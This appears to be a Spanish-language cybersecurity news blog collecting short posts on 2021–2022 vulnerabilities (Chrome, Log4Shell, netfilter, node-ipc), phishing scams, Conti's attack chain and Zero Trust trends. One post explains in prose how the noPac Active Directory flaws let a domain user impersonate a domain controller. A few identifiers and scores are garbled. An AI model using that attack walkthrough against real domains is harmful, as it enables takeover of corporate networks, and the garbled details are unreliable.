Vulnerabilidad Crítica de Google Chrome, Edge, etc.
Google Chrome, Edge y Brave acaban de liberar una actualización de seguridad de emergencia para los navegadores basados en Chromium. Se trata de la versión Chromium 99.0.4844.84 que viene a resolver una única vulnerabilidad, pero una extremadamente crítica.
El problema, que afecta a los usuarios de Windows, Linux y macOS, ha sido clasificado como de severidad alta e identificado como CVE-2022-1096. La empresa urge a los usuarios a actualizar cuanto antes pues se ha detectado que ya existe un exploit.
CVE-2022-1096 es la segunda vulnerabilidad de día cero abordada por Google en Chrome desde el comienzo del año, el primero CVE-2022-0609, una vulnerabilidad sin uso posterior en el componente de Animación que se parcheó el 14 de febrero de 2022.
Se trata de una vulnerabilidad “type confusion” en V8, el motor de Javascript gratuito, de código abierto, y WebAssembly de Chrome. Diseñado por Chromium Project para los navegadores web Google Chrome y Chromium.
¿Podemos confiar en los navegadores web para protegernos, incluso si dicen “https”? No, con el nuevo ataque de BitB, que falsifica ventanas emergentes de SSO para eliminar credenciales para Google, Facebook, Microsoft, etc.
Se ha descubierto un kit de phishing que permite a ciberdelincuentes crear ventanas falsas para el navegador Chrome que les permita robar información a modo de phishing.
Al iniciar la sesión en muchos sitios web, es habitual contar con la opción de acceder con Google, Microsoft, Apple, Twitter o incluso Steam. Por ejemplo, el formulario de inicio de sesión de DropBox permite iniciar sesión con una cuenta de Apple o Google.
este ataque crea ventanas falsas del navegador dentro de ventanas reales del navegador (Browser in the Browser) para crear ataques de phishing que parecen muy realistas.
Este ataque crea ventanas falsas del navegador dentro de ventanas del navegador muy reales, al hacer clic en los botones de inicio de sesión único (SSO) en Google o en la aplicación y que pedirá que introduzcas tus credenciales para luego inicies sesión en la cuenta.
A una mamá cualquiera le llega un WhatsApp de una sobrina pidiéndole que le deposite dinero porque tuvo tal accidente y que no quiere contarlo, por eso necesita que sea discreta, en el mismo momento, a un gerente de administración y finanzas que acaba de recibir la aprobación de un gerente general para que pague tal factura, le llega un correo del gerente indicando que en vez de pagar en tal cuenta que debe pagar en otra.
Estas dos situaciones tienen algo en común, ¿porque desconfiar?, la mamá habla regularmente por WhatsApp y sabe que la sobrina no le pediría dinero si realmente no la necesitara, el gerente de administración y finanzas lleva varios correos intercambiados por el tema, si bien ambas situaciones son extrañas no alcanza para desconfiar.
Qué hacer?
Ambas situaciones son casos típicos de estafas informáticas hoy día, si bien las personas críticas se les puede entrenar para “desconfiar” y pedir confirmación personal de las solicitudes, lo cual es siempre recomendable, a nivel masivo y automático se deben tener herramientas para proteger a las personas y a las organizaciones de este tipo de amenazas, se necesita poder desconfiar, de quien se está conectando, desde donde se está conectando y con que se está conectando por que como ya vimos en la confianza está el riesgo.
Decir lo anterior es más fácil decirlo que hacerlo, una ayuda muy útil es usar estándares como NIST CSF o NERC CIP, pero nos basaremos en el estándar CIP el cual nace conceptualmente en temas de ciberseguridad, acá las recomendaciones más básicas:
Inventario y Control de Activos Empresariales: Para poder tener control primero se debe tener visualización de los activos que se conectan a la organización de manera automática y en tiempo real, las soluciones por excelencia para esto son los NAC (control de acceso a la red).
Inventario y Control de Activos de Software: El objetivo del control de software es poder determinar si el aplicativo que se está usando corresponde al usado normalmente, si este software tiene vulnerabilidades conocidas o está al día
Protección de Datos: Los datos son la parte más importante que se quiere capturar para producir los fraudes, recordar que si quiero embaucar entre más datos tenga, más creíble será mi discurso, tener visualización de los datos, de quien los accede y si estos están protegidos debe ser una labor principal de los encargados de la seguridad de las organizaciones.
Configuración segura de activos y software empresariales: Existen varios casos de estafas, donde la organización tiene todas las herramientas necesarias, incluso tiene lo que se considera lo mejor del mercado, no obstante así igual sufren de eventos de robos y estafas, existe una regla que indica que hay un 80/20 (Pareto), donde el 80% del éxito corresponde a una correcta y oportuna configuración de seguridad, el 20% restante a la tecnología.
Administración de cuentas: Al igual que los dispositivos y software, los usuarios y su comportamiento son fundamentales para determinar mediante el comportamiento si son realmente una amenaza, tareas como cambio de claves, doble factor de autenticación, geolocalización, son temas a tener en cuenta por los planificadores de ciberseguridad.
Nota: Normalmente las herramientas de ciberseguridad tienden a abarcar la mayor cantidad de necesidades, hoy día están apareciendo herramientas denominadas CASSM (Cyber Asset Attack Surface Management) que además de los conceptos mencionados, contienen funcionalidades como agregación (reunir varias fuentes de información en un repositorio común) y en base a esa información enriquecida automatizar respuestas y acciones, recordad que se necesita una respuesta automática y en tiempo real a las amenazas que existe hoy día.
Nueva multa a Meta (Facebook) por incumplimiento de la GDPR
Meta es el nombre con que Facebook intentó iniciar una nueva etapa dejando atrás una gran cantidad de problemas de reputación que tarde o temprano tendría que rendir cuentas.
La última es la sanción impuesta por parte de la “Data Protection Commission” (DPC), el organismo responsable de protección de datos en Irlanda, y que condena a Meta a pagar una multa de 17 millones de euros, por una serie de doce notificaciones de posibles infracciones, recibidas por dicha entidad en tan solo seis meses, en el período comprendido entre el 7 de junio de 2018 y el 4 de diciembre de 2018.
El problema con Meta en general, y con Facebook en particular, es que durante los últimos años ha demostrado ser una compañía muy, muy poco fiable en lo referido a la custodia y el manejo de los datos.
Por otra parte, Meta dijo en un comunicado: “Esta multa tiene que ver con las prácticas de mantenimiento de registros de 2018 que hemos actualizado desde entonces, no con un fallo en la protección de la información de las personas”, “Nos tomamos en serio nuestras obligaciones bajo el GDPR, y consideraremos cuidadosamente esta decisión mientras nuestros procesos continúan evolucionando”.
Detrás de casi todas las herramientas de firewalls de Linux como iptables; su versiones más nuevas, nftables; firewalld y ufw, está netfilter, el cual controla el acceso hacia y desde la pila de red de Linux. Es una herramienta de seguridad esencial de Linux, por lo que cuando se encuentra un agujero de seguridad en él, es un gran problema.
Nick Gregory, un investigador de Sophos, encontró este agujero mientras revisaba netfilter en busca de posibles problemas de seguridad. Específicamente, es un problema de escritura heap out-of-bounds en el filtro de red del Kernel. Gregory dice que es “explotable para lograr la ejecución del código del kernel (a través de ROP [return-oriented programming]), brindando un escalamiento de privilegios local completo“.
Este problema existe porque netfilter no maneja correctamente su función de descarga de hardware. Un atacante local sin privilegios puede usar esto para provocar una denegación de servicio (DoS) y ejecutar código arbitrario. Lo cual, funciona incluso si el hardware atacado no tiene funcionalidad de descarga.
Esta vulnerabilidad está presente en las versiones del Kernel de Linux 5.4 a 5.6.10. Está identificado como CVE-2022-25636 y con un puntaje de CVSS de 7.8.
El desarrollador detrás del popular paquete npm “node-ipc” ha lanzado versiones saboteadas de la biblioteca para condenar la invasión rusa de Ucrania: un retoque de la cadena de suministro que preferiría llamar “protestware” en lugar de “malware”.
Independientemente de los mensajes de paz y no guerra, node-ipc ahora se está rastreando como un paquete malicioso: uno con código malicioso que se dirige a usuarios con direcciones IP ubicadas en Rusia o Bielorrusia que sobrescribe sus archivos con un emoji cardíaco.
Comenzó el 8 de marzo, cuando el mantenedor de npm Brandon Nozaki Miller (también conocido como RIAEvangelist) escribió el código fuente y publicó un paquete npm llamado peacenotwar y prueba de un día tanto en npm como en GitHub.
Peacenotwar: tiene una calificación de criticidad no pacífica 9.8
El ataque a la cadena de suministro de peacenotwar, Snyk está rastreando los incidentes de seguridad como CVE-2022-23812 para node-ipc: una vulnerabilidad que, hasta ahora, no ha sido analizada por la Base de datos nacional de vulnerabilidad (NVD) de NIST, pero que Synk califica con un puntaje crítico de 9.8, dado que es fácil de explotar.
Microsoft aborda 71 CVE en su lanzamiento del martes de parches para marzo de 2022, incluidas tres vulnerabilidades que se divulgaron públicamente como días cero.
3 Vulnerabilidades clasificadas como Críticas
68 Vulnerabilidades clasificada como Importantes
0 Vulnerabilidades clasificadas como Moderadas o Bajas
Las vulnerabilidades de ejecución remota de código (RCE) representaron el 40.8% de las vulnerabilidades parcheadas este mes, seguidas de vulnerabilidades de elevación de privilegios (EoP) al 35.2%.
Las Vulnerabilidades a tener presente:
CVE-2022-23277 | Vulnerabilidad de ejecución remota de código del servidor Microsoft Exchange
CVE-2022-23285 y CVE-2022-21990 | Vulnerabilidad de ejecución remota de código remoto del cliente de escritorio
CVE-2022-24508 | Vulnerabilidad de ejecución remota de código del cliente / servidor SMBv3 de Windows
CVE-2022-24459 | Servicio de fax y escaneo de Windows Elevación de la vulnerabilidad de privilegios
CVE-2022-24512 | Vulnerabilidad de ejecución remota de código .NET y Visual Studio
La empresa Salt ha publicado un informe que se basa en una combinación de resultados de encuestas y datos empíricos cuyo hallazgo más dramático es el aumento del 681% en el tráfico de ataques de API. La investigación revela que el 95% de los encuestados sufrió un incidente de seguridad de sus API el año pasado, y casi dos tercios de los encuestados retrasaron el lanzamiento de una aplicación como resultado de la seguridad de las API.
El informe muestra una tendencia al alza del uso de este tipo de tecnología por parte de las empresas y a su vez de la falta de preparación desde la perspectiva de seguridad. Las llamadas API maliciosas aumentaron de un promedio mensual por cliente de 2,73 millones en diciembre de 2020 a 21,32 millones en diciembre de 2021. Dado que todos los clientes de Salt tienen WAF y casi todos tienen puertas de enlace, estos ataques están superando esos controles de seguridad. El año 2021 demostró que las API son el vector de ataque dominante a las aplicaciones.
Una amplia gama de actores de amenazas, incluidos Fancy Bear, Ghostwriter y Mustang Panda, han lanzado campañas de phishing contra Ucrania, Polonia y otras entidades europeas en medio de la invasión rusa de Ucrania.
El Grupo de Análisis de Amenazas de Google (TAG) dijo que eliminó dos dominios de Blogspot que fueron utilizados por el grupo de estado-nación FancyBear (también conocido como APT28), que se atribuye a la inteligencia militar de GRU de Rusia, como página de destino para sus ataques de ingeniería social.
Pero no solo Rusia y Bielorrusia han puesto su mirada en Ucrania y Europa. Incluido en la mezcla hay un actor de amenazas con sede en China conocido como Mustang Panda (también conocido como TA416 o RedDelta) que intenta plantar malware en “entidades europeas específicas con señuelos relacionados con la invasión ucraniana”.
Por separado, CERT-UA a revelado detalles de un ciberataque realizado por el grupo UNC1151 dirigido a organizaciones estatales ucranianas que utilizan un malware llamado MicroBackdoor que se entrega a sistemas comprometidos en forma de archivo de ayuda HTML compilado de Microsoft (“dovidka.chm”).
Aumento constante de amenazas. 9.400 millones de intentos de ciberataques en Chile.
Según datos recabados por el laboratorio de inteligencia de amenazas de Fortinet, Chile a tenido 9.400 millones de intentos de ciberataques en 2021. Lo que revela que los países de America Latina y el caribe se encuentran a la par de otras regiones y han sido el objetivo de cerca del 10% del total de ciberataques que se han dado el último año en el mundo.
Uno de los puntos que ha incrementado este aumento a sido el trabajo remoto que ha llevado a un incremento de ataques relacionados con ejecución remota de código (RCE). La distribución de malware a través de publicidad engañosa, sitios web maliciosos y campañas de correo electrónico de phishing sigue siendo la técnica de engaño mas utilizada por los ciberdelincuentes.
Un error de ejecución remota de código (RCE) de día cero en las plataformas Magento 2 y Adobe commerce se ha explotado activamente, lo que provocó un lanzamiento de un parche de emergencia durante el fin de semana
La vulnerabilidad reconocida como CVE-2022-24086 permite la autenticación previa de RCE derivada de una validación de entrada inadecuada y tiene una severidad de 9.8 sobre 10. Este error afecta las versiones 2.3.7-p2 y 2.4.3-p1 y anteriores de ambas plataformas de comercio electrónico. Idealmente se debe instalar el parche personalizado de Adobe lo antes posible.
Cómo administrar su seguridad en un mundo híbrido.
El trabajo remoto llego para quedarse, según Gartner es probable que el 48% de los empleados trabajen de forma remota al menos parte del tiempo posterior al Covid19, lo cual trae muchos desafíos de seguridad.
Security Scorecard te deja 15 consejos para gestionar la seguridad en este escenario:
Cuidado con los dispositivos personales
Los no empleados nunca deben usar dispositivos de la compañía
Deshabilitar unidades externas
Recuerda: Los dispositivos pueden ser robados fisicamente
Aunque a primera vista parece lógico que el covid no afecta a los activos digitales por ser una amenaza biológica. Los datos obtenidos en la pandemia nos llevan a una relación entre los activos digitales y el Covid.Muchas organizaciones se vieron obligadas a preparase para amenaza digitales a raíz del Trabajo Remoto y efectos de la pandemia, por lo que el crecimiento de las herramientas involucradas en la seguridad del nuevo perímetro fue impresionante.
Se liberan claves de descifrado de los ransomware: Maze, Egregor y Sekhmet
Este miércoles se lanzaron las claves de descifrado para las tres cepas de ransomware: Maze + Egregor + Sekhmet. Las cuales fueron publicadas en el foro de BleepingComputer por el supuesto desarrollador de Malware.
La publicación incluye un enlace de descarga para un archivo 7zip con cuatro archivos que contienen las claves y el código fuente de un malware M0yv utilizado por la banda de ransomware.
Este 2022 esta marcado por una creciente interacción digital, la cual llego para quedarse. Los Clientes continúan buscando productos y servicios en línea. Lo que nos lleva a la necesidad de tener una buena experiencia, más fácil y rápida. Esto que parece tan sencillo, a la hora de implementarlo, realmente no lo es. Las tendencia de este 2022 que darán forma a la identidad y la seguridad son:
CIAM (customer identity and access Management) va a sin contraseña
Un aumento en las opciones de recuperación de cuenta
Soluciones de prevención de ATO (ataques de adquisición de cuentas) mejoradas
Una nueva generación de servicios de identity store and Administrative.
Parches para un bug importante que afecta a productos VMWare ESXi, Workstation y Fusion
VMWare ha enviado actualizaciones a productos Workstation, fusion y ESXi para abordad una vulnerabilidad de seguridad”Importante”, rastreada como CVW-2021-22045, cuya puntuación es CVSS: 7.7
El bug afecta a las versiones ESXi 6.5, 6.7 y 7.0; Workstation version 16.x y Fusion 12.x.
Para conocer mas de este bug, pincha en la Fuente para ver la nota completa.
Actualizaciones de seguridad de varios fabricantes en enero
Microsoft lanzo su primero conjunto de parches para el 2022, los cuales solucionan 96 vulnerabilidades reportados. Dentro de las 96 vulnerabilidades, nueve están clasificadas como criticas, 89 son graves y seis son de tipo “Zero-Days”.
La principal de ellas denominada CVE-2022-21907 con una puntuación CVSS de 9,8. Adicionalmente de dejan los link de parches de otros fabricantes, como Adobe, Cisco, Juiniper, SAP, WordPress, entre otros.
Conocida con la denominación CVE-2022-0215 con una puntuación CVSS: 8.8 y con un impacto a gran escala tenemos una vulnerabilidad presente en 3 plugins de la plataforma WordPress que esta afectando a 84.000 sitios:
La Agencia de Cibeseguridad e Infraestructura (CISA) ha publicado unos recomendaciones de cómo actuar frente a la vulnerabilidad de Apache Log4J. Las acciones mencionadas son:
Identificar todos los activos que sean accesibles a través de Internet que permitan la entrada de datos por parte del usuario y utilicen la librería Log4j en algún lugar de su infraestructura.,Identificar todos los activos que utilicen Log4j
Actualizar o aislar los activos afectados. Una vez identificados, la organización deberá buscar indicadores de compromiso y patrones habituales de actividades de post-explotación. Se asumirá que el activo ha sido comprometido.
Monitorizar patrones de tráfico poco habituales. Por ejemplo, tráfico de salida relacionado con los protocolos JNDI, LDAP/RMI, DNS o DMZ.
Los Atacantes aprovechan la falla en la función de comentarios de Google Docs.
Basándose en una vulnerabilidad conocida y no del todo mitigada por Google, hackers están utilizando una estrategia de Fishing basado en comentarios dentro de archivos de google docs, presentación y hojas de calculo de google. En ellas se identifica al usuario objetivo agregando un @, esto hace que se envíe un correo al usuario objetivo sin identificar el remitente, lo que hace complejo de identificar un probable ataque. El foco de los ataques son los usuarios de Outlook.
Lo primero que tenemos que saber es que es o a qué nos referimos con ZTNA o Zero Trust. La verdad que Seguridad de confianza cero o Zero Trust es un modelo de seguridad basado en la premisa de que NO se confía ciegamente en nadie ni se le permite acceder a los activos de la empresa hasta que se haya validado como legítimo y autorizado.
Según las predicciones de Gartner, las cuales hemos ido comentando, para este 2022, todo lo referente a este modelo de seguridad basado en la confianza cero, va a ser uno de los temas importantes. Y si analizamos los hype cycle de gartner, ZTNA es mencionado en varios de ellos, como:
Networking Hype Cycle 2021
Cloud Security Hype Cycle 2021
Endpoint Security Hype Cycle 2021
El punto es que ZTNA es un modelo que empieza a tener relevancia y que cada día más comienzan a salir productos al mercado que se basan en este modelo. El no confiar en nadie, ofrece desafíos muy complejos para las áreas de seguridad, ya que involucra tener herramientas que aborden el 100% de los usuarios en tiempo y forma. Y como hablamos de una creciente adopción del mundo cloud y un gran número de trabajadores remotos, se ve como un reto complejo.
Pero en este reto no se está solo, existen distintas herramientas que permiten integrarse con repositorios de identidad, donde parte todo, para luego permitir la conexión a los activos de las compañías, pero antes autenticar y autorizar al usuario, quien sin esto no podrá conectarse.
La Antigua VPN, ya comienza a demostrar falencias para un mundo hiperconectado, desde cualquier parte con cualquier tipo de dispositivo y sobre todo donde el centro ya no está en la red, sino en el usuario.
Herramientas como AppGate, Netskope avanzan rápidamente en este mundo. Y otras comienzan a adaptar sus productos y discursos para abordar este nuevo modelo.
La semana pasada, AppGate presentó un Webinar donde hablaba de los diez mandamientos de zero trust, los cuales te comparto acá:
Asume que serás vulnerado por sobre todas las cosas
El Grupo de Ransomware Conti es el primero en armar una cadena de ataques completa para Log4Shell.
El Grupo de Ransomware Conti con sede en Rusia, uno de los mas despiadados grupos de Ransomware según Palo Alto Networks, se ha transformado el primero grupo en armar una cadena completa de ataque basada en Log4J2.
Cadena de Ataque
Emotet es una botnet que resurgió el mes pasado de una parte de TrickBot, ahora con la capacidad de instalar en forma directa.
Cobalt Strike, la herramienta comercialmente disponible, utilizada por los pentester en dispositivos infectados que da a los actores de amenazas acceso directo a sus objetivos.
Human Exploitation, que describe la etapa de un ataque en el que los actores de amenazas investigan personalmente la red, buscan datos críticos, analizan la estructura de la red, definen las redes más importantes y buscan formas de elevar los privilegios, entre otras cosas.
Missing ADMIN$ share. Las acciones administrativas son acciones de red ocultas creadas por los sistemas operativos Windows NT de Microsoft que otorgan a los administradores del sistema acceso remoto a cada volumen de disco en un sistema conectado a la red. Como Microsoft lo expresa: “Las acciones administrativas faltantes generalmente indican que la computadora en cuestión ha sido comprometida por un software malicioso.”
Kerberoast. Kerberoasting, un ataque común y generalizado que explota una combinación de cifrado débil y mala higiene de la contraseña de la cuenta de servicio, es un ataque posterior a la explotación que extrae los hash de credenciales de la cuenta de servicio de Active Directory para el craqueo fuera de línea. Con respecto al eslabón final en la cadena de ataque.
VMWare vCenter servers. A partir del miércoles, diciembre. 15, Conti estaba buscando redes VMWare vulnerables para el acceso inicial y el movimiento lateral. Los servidores VMWare tienen una larga lista de componentes afectados y vulnerables a Log4Shell.
Dentro de los dos días posteriores a la divulgación pública de la vulnerabilidad en la biblioteca de registro Log4j de Apache, el 10 de diciembre. – un bug que fue atacado en cuestión de horas – Los miembros del grupo Conti estaban discutiendo cómo explotarlo como un vector de ataque inicial, según AdvIntel.
Apache parchó el bug el 11 de diciembre, pero su parche, Log4J2, fue encontrado incompleto en ciertas configuraciones no predeterminadas y allanó el camino para ataques de denegación de servicio (DoS) en ciertos escenarios.
Como si dos errores no fueran suficientes, otro error similar pero distinto fue descubierto la semana pasada en la biblioteca de registro Log4J. Apache emitió un parche el viernes.
Tomar el control de un AD mediante dos vulnerabilidades de diciembre
En medio de la tormenta #Log4Shell hay una cadena de vulnerabilidades (NoPaC, sAMAccountName) que está pasando algo desapercibida pero mediante la cual cualquier persona dentro de la red podría usar para ownear un DC. Hablamos de CVE-2021-42287 y CVE-2021-42278.
Para explicarlo vamos a partir de la premisa de que Kerberos (y otros paquetes de autenticación) por diseño cuando no encuentran una cuenta de usuario vuelven a intentarlo agregando un $ para determinar si la cuenta es una cuenta de computadora/equipo o una cuenta de usuario, porque sabéis que los dominios de Windows almacenan nombres de cuentas de equipo con un $.
Y ya sabéis también que en el proceso de autenticación de Kerberos requiere un TGT (Ticket Granting Ticket) cuando se solicita un Ticket de servicio o TGS (Ticket Granting Service). El tema es que si por ejemplo Pepito obtiene un TGT y el usuario Pepito es eliminado o renombrado después, al usarlo para solicitar un ticket de servicio de otro usuario (el llamado S4U2self) provocará que el KDC busque pepito$ en la base de datos del AD, como recién comentamos.
Seguro que ya habéis visto la jugada… un atacante renombra la cuenta de equipo con el nombre del controlador de dominio (dc$) y cuando usa el TGT modifica el nombre de usuario, de modo que la respuesta (TGS_REP) al no encontrar la cuenta de usuario devolverá el ticket de servicio para la cuenta de equipo, es decir, para el controlador de dominio spoofeado…
El problema es que ni se comprueba el PAC (Privilege Attribute Certificate) ni hay ninguna otra validación que verifique que las cuentas que tienen un $ al final de su nombre (es decir, el atributo sAMAccountName) son de equipo. Esa sería la vulnerabilidad CVE-2021-42278 que en combinación con la del engaño al KDC, la CVE-2021-42287, permite a cualquier atacante hacerse pasar por cuentas de controlador de dominio.
El único pre-requisito es que hay que tener permiso de escritura para el atributo sAMAccountName. Sin embargo, por defecto los usuarios normales en el dominio pueden crear 10 cuentas de equipo (MachineAccountQuota), y el creador tiene permisos de escritura para las cuentas de equipo y, por supuesto, estos dos atributos se pueden cambiar. Las combinaciones perfectas.
El aumento del trabajo remoto ha aumentado los inventarios de dispositivos empresariales de formas que nadie esperaba. Esto coincidió con un aumento drástico de las amenazas de ciberseguridad de los terminales. Este es el atractivo telón de fondo del último Hype Cycle for Endpoint Security de Gartner.
El informe demuestra claramente que la tecnología emergente de seguridad unificada de terminales (UES) proporciona una importante plataforma de consolidación para administrar las diferentes partes de una pila de tecnología de ciberseguridad. Los oficiales de seguridad de la información necesitan proteger los dispositivos terminales no administrados nuevos en sus redes y necesitan la flexibilidad para administrarlos en una sola plataforma.
Hype Cycle for Endpoint Security, 2021 de Gartner explora cómo los gerentes de seguridad de la información pueden lograr sus objetivos reduciendo costos y mejorando la visibilidad y el control. Hype Cycle de este año da prioridad a UES como la solución que los ejecutivos de seguridad de la información necesitan para proteger sus terminales. Según las conversaciones que VentureBeat ha tenido con ejecutivos de seguridad de la información y CIO, el impulso del mercado de seguridad de endpoints unificado se está acelerando a medida que los equipos de ciberseguridad se esfuerzan por llenar los vacíos en su infraestructura de endpoints y prevenir posibles infracciones antes de que ocurran.
Según Gartner, el mercado global de software de seguridad creció un 10,3% en 2020, alcanzando $ 49,7 mil millones en ingresos anuales. Los cinco segmentos principales con las tasas de crecimiento más altas son las pruebas de seguridad de las aplicaciones, la gestión de acceso, la plataforma de protección de terminales (empresa), las puertas de enlace de correo electrónico seguras y el gobierno y la administración de identidades. La categoría de plataforma de protección de endpoints (empresa) es el segundo segmento de más rápido crecimiento del mercado de seguridad global, con ingresos de $ 8.8 mil millones en 2020 (y una tasa compuesta anual del 20%). Los cinco proveedores más importantes son Microsoft, McAfee, Norton LifeLock, IBM y Broadcom.
Consejos prácticos del Hype Cycle
El consejo más práctico de este Hype Cycle proviene de sus sugerencias sobre la orquestación de nuevas tecnologías para proporcionar a los jefes de seguridad de la información, CIO y equipos de ciberseguridad una evaluación de amenazas en tiempo real y datos de gestión de activos dentro de un único lago de datos.
Un enfoque de lago de datos único para la seguridad unificada de los terminales controla la seguridad de los terminales en una plataforma integral que reduce el riesgo y el costo al mejorar la gestión de activos. De acuerdo con los oficiales de seguridad de la información y los CIO de VentureBeat encuestados para este artículo, los puntos finales de autocuración serán un requisito básico para todas las compras de ciberseguridad presupuestadas en 2022.
Estas son las novedades del Ciclo de exageraciones de Gartner para la seguridad de terminales, 2021. Este año, el informe incluye un total de 18 tecnologías, frente a las 20 del año pasado. Las tecnologías eliminadas del Hype Cycle este año incluyen el aislamiento del navegador, la infraestructura móvil virtual (VMI) y las comunicaciones de datos corporativas seguras, mientras que se ha agregado la seguridad de punto final VDI / DaaS. Claramente, las conexiones seguras de Virtual Desktop Infrastructure (VDI) y Desktop-as-a-Service (DaaS) se han convertido en una prioridad en los últimos años, dado el rápido crecimiento de las reuniones virtuales, las sesiones de capacitación remota y las llamadas de ventas. VDI / DaaS ayuda a prevenir el secuestro de sesiones virtuales al proteger la identidad de cada participante virtual sin ninguna degradación del ancho de banda.
Arriba: Ciclo de bombo de seguridad
Crédito de la imagen: Gartner.
A continuación, se muestra información clave del Ciclo Hype de Gartner para Endpoint Security, 2021:
Gartner está experimentando un aumento en las iniciativas Zero Trust Network Access (ZTNA) entre sus clientes corporativos en la actualidad.. El descubrimiento del ciclo de publicidad de confianza cero es coherente con lo que los ejecutivos de seguridad de la información le dicen a VentureBeat sobre sus hojas de ruta, proyectos piloto y planes de confianza cero. En casi todas las conversaciones que VentureBeat tiene con los gerentes de seguridad de la información en los servicios financieros y la fabricación, la confianza cero se menciona primero como una decisión comercial. El objetivo es escalar la seguridad de los endpoints a través de nuevos modelos de ingresos digitales. Incluso antes de la orden ejecutiva del presidente Joe Biden sobre la mejora de la ciberseguridad del país, 160 proveedores de ciberseguridad afirmaron tener productos y servicios de nube de confianza cero. Según Gartner, el interés en la confianza cero sigue superando al mercado de ciberseguridad en general, creciendo más del 230% en 2020 en comparación con 2019.
La escala de los productos ZTNA se ha expandido más allá de las aplicaciones web para admitir una gama más amplia de aplicaciones y protocolos, lo que ilustra un ritmo acelerado de innovación. Gartner señala que la generación actual de aplicaciones ZTNA ha mejorado la experiencia del usuario, mayor flexibilidad y mejor adaptabilidad basada en roles y personajes. Gartner también señala que «las ofertas de ZTNA basadas en la nube mejoran la escalabilidad y la facilidad de adopción». La adquisición de NetMotion por parte de Absolute Software es premonitoria para posicionar a las empresas combinadas para ofrecer lo que los CISO buscan en una solución ZTNA. Otras compañías en el espacio ZTNA para observar incluyen a Ericom, que incluye ZTNA y otras tecnologías en el ciclo, como el aislamiento remoto del navegador, la puerta de enlace web segura y CASB, en su plataforma ZTEdge Zero Trust Cloud Security. Ivanti Neurons for Zero Trust Access utiliza el aprendizaje automático para simplificar las políticas de seguridad, el cumplimiento y el acceso con privilegios mínimos entre usuarios, dispositivos y aplicaciones para garantizar que la microsegmentación de la red esté implementada. Otros proveedores de ZTNA a seguir son Akamai, Appgate, Cato Networks, Netskope, Perimeter 81, Proofpoint y SAIFE.
Unified Endpoint Management (EMU) gana respeto durante la pandemia y aumenta la adopción. UEM demostró su valía durante la pandemia al unificar la identidad, la seguridad y el acceso remoto en apoyo de las arquitecturas ZTNA que ahora se consideran esenciales para garantizar una fuerza laboral en todas partes. Al igual que ZTNA, ha habido una rápida innovación en UEM durante los últimos 12 a 18 meses, con el objetivo de reducir los riesgos de seguridad y cumplimiento, junto con la compatibilidad con más dispositivos y sistemas operativos. Los beneficios de UEM, que incluyen la optimización de las actualizaciones continuas del sistema operativo en múltiples dispositivos y plataformas móviles, la habilitación de la administración de dispositivos y una arquitectura que puede admitir una amplia gama de dispositivos y sistemas operativos, son la razón por la cual las empresas buscan expandir su adopción de EMÚ. Otro beneficio importante citado por las empresas es la automatización de parches, políticas y gestión de la configuración basados en Internet. Los líderes de UEM incluyen a Ivanti, que ofrece a sus clientes soluciones de seguridad adicionales integradas en su plataforma UEM, incluida la autenticación multifactor sin contraseña (su función Zero Sign-On) y Mobile Threat Defense (MTD). Otros proveedores a tener en cuenta en EMU incluyen Blackberry, Citrix y Sophos.
La pila de tecnología empresarial típica se esfuerza por respaldar la afluencia de nuevos dispositivos no administrados a las redes cuando se trata de ciberseguridad. Es común encontrar Endpoint Detection and Response (EDR), Mobile Threat Defense (MTD) y Endpoint Protection Platforms (EPP) sobrecargadas con correcciones personalizadas para respaldar inventarios de dispositivos que nadie esperaba que crecieran tan rápidamente.
El último Hype Cycle para Endpoint Security de Gartner sostiene que la seguridad unificada de endpoints es una plataforma vital para reunir las diferentes partes de la pila de tecnología de ciberseguridad del mañana. Los proveedores de seguridad para terminales deben estar a la altura del desafío y acelerar el ritmo de la innovación para frenar los peores ransomware y ciberataques que están alcanzando niveles récord este año.
A continuación, les mostramos los CVE en el orden en que aparecieron así como las nuevas vulnerabilidades y actualizaciones, además del link de la fuente para conocer mas de cada una de estas vulnerabilidades.
CVE-2021-44228 [Crítico, 10.0]: la vulnerabilidad Log4Shell original es una falla de deserialización. Tiene un puntaje de 10 en la escala CVSS y otorga capacidades de ejecución remota de código (RCE) a atacantes no autenticados, lo que permite la toma de control completa del sistema.
CVE-2021-45046 [Crítico, anteriormente bajo, 9.0]: Este es un defecto de Denegación de Servicio (DoS) con un puntaje de 3.7 9.0. La falla surgió como resultado de una solución incompleta que entró en 2.15.0 para CVE-2021-44228. Si bien la corrección aplicada a 2.15.0 resolvió en gran medida la falla, ese no fue el caso para ciertas configuraciones no predeterminadas.
CVE-2021-4104 [Alto, 8.1]: Aunque anteriormente se pensaba que Log4j 1.x era seguro, ya no es así. Esencialmente, la configuración no predeterminada de las instancias de Log4j 1.x que utilizan la clase JMSAppender también se vuelve susceptible a la falla de deserialización que no es de confianza. Aunque no es fácil, el ataque no es imposible en v1.x. Por lo tanto, tiene sentido protegerse eliminando JMSAppender por completo de log4j-1.2.17.jar, con el siguiente comando: zip -d log4j-1.2.17.jar org/apache/log4j/net/JMSAppender.class
CVE-2021-42550 [Moderado, 6.6]: esta es una vulnerabilidad en el framework Logback, un sucesor de la biblioteca Log4j 1.x.
CVE-2021-45105 [Alto, 7.5]: Se descubrió que Log4j 2.16.0 era vulnerable a una falla DoS calificada como Alta. Desde entonces, Apache ha lanzado una versión log4j 2.17.0 que corrige el CVE.
SegúnGoogle: más de 35.000 paquetes de Java tienen defectos de Log4j
“Más de 35.000 paquetes de Java, que representan más del 8% del repositorio de Maven Central (el repositorio de paquetes de Java más importante), se han visto afectados por las vulnerabilidades Log4j reveladas recientemente.”
explican James Wetter y Nicky Ringland del Open Source Insights Team de Google
Según Google, la gran mayoría de los paquetes Java vulnerables en Maven Central toman prestado Log4j “indirectamente”, es decir, Log4j es una dependencia utilizada por el paquete, un concepto también conocido como dependencias transitivas.
De los 35.863 paquetes identificados por Google, solo alrededor de 7.000 tomaron prestado Log4j directamente, lo que indica que no todos los desarrolladores pueden tener una visibilidad adecuada de su software.
“La falta de visibilidad del usuario sobre sus dependencias y las dependencias transitivas ha dificultado la aplicación de parches; también ha dificultado la determinación del radio de alcance completo de esta vulnerabilidad”.
explica Google.
Al observar el historial de vulnerabilidades críticas reveladas públicamente que afectan a los paquetes de Maven, y el hecho de que menos del 48% de estos paquetes tenían una solución para estos, los investigadores de Google predicen “una larga espera, probablemente años” antes de que las fallas de Log4j se eliminen por completo de todo Java. paquetes.
Aumento en ciberataques y el daño ocasionado este 2021
